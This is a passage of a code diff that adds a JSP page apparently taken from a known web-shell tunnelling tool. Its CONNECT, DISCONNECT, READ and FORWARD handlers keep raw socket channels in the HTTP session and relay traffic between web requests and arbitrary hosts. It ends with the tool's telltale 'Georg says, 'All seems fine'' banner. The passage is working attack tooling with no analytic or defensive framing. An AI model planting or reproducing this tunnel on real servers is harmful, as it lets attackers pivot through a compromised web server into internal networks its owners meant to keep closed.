session.setAttribute(socketID+"socket", socketChannel); + } else { + session.setAttribute("socket", socketChannel); + } + response.setHeader("X-STATUS", "OK"); + } catch (UnknownHostException e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + } catch (IOException e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + + } + } else if (cmd.compareTo("DISCONNECT") == 0) { + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try{ + socketChannel.socket().close(); + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + if (socketID != null) { + session.removeAttribute(socketID+"socket"); + } else { + session.invalidate(); + } + } else if (cmd.compareTo("READ") == 0){ + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try { + int bufSize = Integer.parseInt(request.getHeader("Bufsize")); + ByteBuffer buf = ByteBuffer.allocate(bufSize); + int bytesRead = socketChannel.read(buf); + ServletOutputStream so = response.getOutputStream(); + while (bytesRead > 0){ + so.write(buf.array(),0,bytesRead); + so.flush(); + buf.clear(); + bytesRead = socketChannel.read(buf); + } + response.setHeader("X-STATUS", "OK"); + so.flush(); + so.close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + //socketChannel.socket().close(); + } + + } else if (cmd.compareTo("FORWARD") == 0){ + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try { + + int readlen = request.getContentLength(); + byte[] buff = new byte[readlen]; + + request.getInputStream().read(buff, 0, readlen); + ByteBuffer buf = ByteBuffer.allocate(readlen); + buf.clear(); + buf.put(buff); + buf.flip(); + + while(buf.hasRemaining()) { + socketChannel.write(buf); + } + response.setHeader("X-STATUS", "OK"); + //response.getOutputStream().close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + socketChannel.socket().close(); + } + } + } else { + //PrintWriter o = response.getWriter(); + out.print("Georg says, 'All seems fine'"); + } +%>